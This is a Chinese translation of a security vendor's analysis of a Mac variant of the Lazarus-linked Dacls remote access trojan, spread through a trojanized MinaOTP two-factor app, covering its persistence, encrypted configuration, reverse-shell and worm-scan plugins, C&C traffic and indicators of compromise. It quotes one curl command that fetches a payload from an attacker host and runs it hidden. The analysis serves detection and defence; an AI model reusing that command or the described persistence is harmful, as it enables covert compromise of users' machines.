通过 Trojanized 2FA 应用程序散播 Lazarus Dacls RAT 的 Mac 新变种木马

原文链接: New Mac variant of Lazarus Dacls RAT distributed via Trojanized 2FA app 译者:知道创宇404实验室翻译组

有关研究团队最新发现了一种新的Dacls远程访问特洛伊木马(RAT)变种,它与朝鲜的Lazarus集团有关联,并且专门为Mac操作系统设计。

Dacls是2019年12月奇虎360 NetLab发现的一种针对Windows和Linux平台的全功能隐蔽远程访问特洛伊木马(RAT)。

这个Mac变种至少通过一个名为MinaOTP的木马化的macOS二元身份验证应用程序进行分发,该应用程序主要由中国用户使用。与Linux变种类似,它拥有多种功能,包括命令执行、文件管理、流量代理和蠕虫扫描。

发现

4月8日,一个名为“TiNakOTP”的可疑Mac应用程序从香港提交到VirusTotal,当时没有任何引擎检测到它。

恶意的bot可执行文件位于应用程序的 Contents/Resources/Base.lproj/ 目录中,当它是Mac可执行文件时,它会伪装成nib文件 SubMenu.nib 。它包含字符串 c_2910.clsk_3872.cls ,而这是以前检测到的证书和私钥文件的名称。

持久性

该RAT通过LaunchDaemons或LaunchAgents持久存在,它们采用属性列表(plist)文件,这个文件指定了重启后需要执行的应用程序。LaunchAgents和LaunchDaemons之间的区别在于,LaunchAgents代表登录用户运行代码,而LaunchDaemons以root用户运行代码。

当恶意应用程序启动时,它将在 Library/LaunchDaemons 目录下创建一个名称为 com.aex-loop.agent.plist 的plist文件,plist文件的内容在应用程序中进行了硬编码。

该程序还会检查 getpwuid( getuid() ) 是否返回当前进程的用户ID。如果返回用户ID,它将在LaunchAgents目录 Library/LaunchAgents/ 下创建plist文件 com.aex-loop.agent.plist

图1 plist文件

存储plist的文件名和目录为十六进制格式并附加在一起,它们向后显示文件名和目录。

图2 目录和文件名生成

配置文件

配置文件包含有关受者计算机的信息,例如Puid、Pwuid、插件和C&C服务器,配置文件的内容使用AES加密算法进行加密。

图3 加载配置

Mac和Linux变种都使用相同的AES密钥和IV来加密和解密配置文件,两种变种中的AES模式均为CBC。

图4 AES密钥和IV

配置文件的位置和名称以十六进制格式存储在代码中,该配置文件名称伪装成与Apple Store相关的数据库文件: Library/Caches/Com.apple.appstore.db

图5 配置文件名

IntializeConfiguration 功能使用以下硬编码的C&C服务器初始化配置文件。

图6 初始化配置文件

通过从C&C服务器接收命令来不断更新配置文件。安装后的应用程序名称为 mina 。Mina来自MinaOTP应用程序,它是针对macOS的双因素身份验证应用程序。

图7 配置文件正在更新

主循环

初始化配置文件后,执行主循环以执行以下四个主命令:

  • 将C&C服务器信息从配置文件上载到服务器(0x601)
  • 从服务器下载配置文件内容并更新配置文件(0x602)
  • 通过调用“getbasicinfo”函数(0x700)从受害者的计算机上传收集的信息
  • 发送heartbeat信息(0x900)

命令代码与Linux.dacls完全相同。

图8 主循环

插件

此Mac-RAT拥有Linux变种中的所有六个插件,以及一个名为 SOCKS 的附加插件。这个新插件用于代理从受害者到C&C服务器的网络流量。

该应用程序会在主循环开始时加载所有七个插件。每个插件在配置文件中都有自己的配置部分,将在插件初始化时加载。

图9 加载的插件

CMD 插件

cmd插件类似于Linux rat中的 bash 插件,它通过为C&C服务器提供一个反向shell来接收和执行命令。

图10 CMD插件

文件插件

文件插件具有读取、删除、下载和搜索目录中文件的功能。Mac和Linux变种之间的唯一区别是Mac变种不具有写入文件的能力(case 0)。

图11 文件插件

进程插件

进程插件具有终止、运行、获取进程ID和收集进程信息的功能。

图12 进程插件

如果可以访问进程的 / proc /%d / task 目录,则插件将从进程获取以下信息,其中%d是进程ID:

  • 通过执行“/ proc /%/ cmdline”获取进程的命令行参数
  • “/ proc /%d / status”文件中进程的名称、Uid、Gid、PPid

测试插件

Mac和Linux变种之间的测试插件的代码是相同的,它检查到C&C服务器指定的IP和端口的连接。

RP2P 插件

RP2P插件是一个代理服务器,用于避免受害者与参与者的基础设施进行直接通信。

图13 反向P2P

LogSend 插件

Logsend插件包含三个模块:

  • 检查与日志服务器的连接
  • 扫描网络(蠕虫扫描仪模块)
  • 执行长期运行的系统命令

图14 Logsend插件

该插件使用HTTP端口请求发送收集的日志。

图15 用户代理

这个插件中一个有趣的功能是蠕虫扫描程序。 start_worm_scan 可以扫描端口8291或8292上的网络子网,要扫描的子网是基于一组预定义规则确定的。下图显示了选择要扫描的子网的过程。

图16 蠕虫扫描

Socks 插件

Socks插件是此Mac Rat中新增的第七个插件,它类似于RP2P插件,并充当引导bot和C&C基础结构之间通信的媒介,它使用Socks4进行代理通信。

图17 Socks4

网络通讯

此Mac-RAT使用的C&C通信与Linux变种类似,为了连接到服务器,应用程序首先建立一个TLS连接,然后执行beaconing操作,最后使用RC4算法对通过SSL发送的数据进行加密。

图18 应用程序生成的流量(.mina)

图19 TLS连接

Mac和Linux变种都使用WolfSSL库进行SSL通信,WolfSSL通过C中的TLS的开源实现,支持多个平台。这个库已被多个威胁参与者使用,例如,Tropic Trooper在其Keyboys恶意软件中使用了这个库。

图20 WolfSSL

用于beaconing的命令代码与Linux.dacls中使用的代码相同,这是为了确认bot和服务器的身份。

图21 Beaconing

RC4密钥是通过使用硬编码密钥生成的。

图22 RC4初始化

变体和检测

我们还确定了此RAT的另一个变体,该变体使用以下curl命令下载恶意负载:

curl-k-o ~/Library/.mina https://loneeaglerecords.com/wp-content/uploads/2020/01/images.tgz.001 > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev

我们认为,Dcals RAT的Mac变体与Lazarus小组(也称为Hidden Cobra和APT 38)有关,Lazarus小组是自2009年以来一直从事网络间谍活动和网络犯罪的臭名昭著的朝鲜恐怖组织。

据悉,该组织是最成熟的参与者之一,能够针对不同平台定制恶意软件。这个Mac-RAT的发现表明,APT小组正在不断开发其恶意软件工具集。

Mac的Malwarebytes将该远程管理木马检测为OSX-DaclsRAT。

IOCs

899e66ede95686a06394f707dd09b7c29af68f95d22136f0a023bfd01390ad53 846d8647d27a0d729df40b13a644f3bffdc95f6d0e600f2195c85628d59f1dc6 216a83e54cac48a75b7e071d0262d98739c840fd8cd6d0b48a9c166b69acd57d d3235a29d254d0b73ff8b5445c962cd3b841f487469d60a02819c0eb347111dd d3235a29d254d0b73ff8b5445c962cd3b841f487469d60a02819c0eb347111dd

loneeaglerecords[.]com/wp-content/uploads/2020/01/images.tgz.001

67.43.239.146

185.62.58.207

50.87.144.227

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章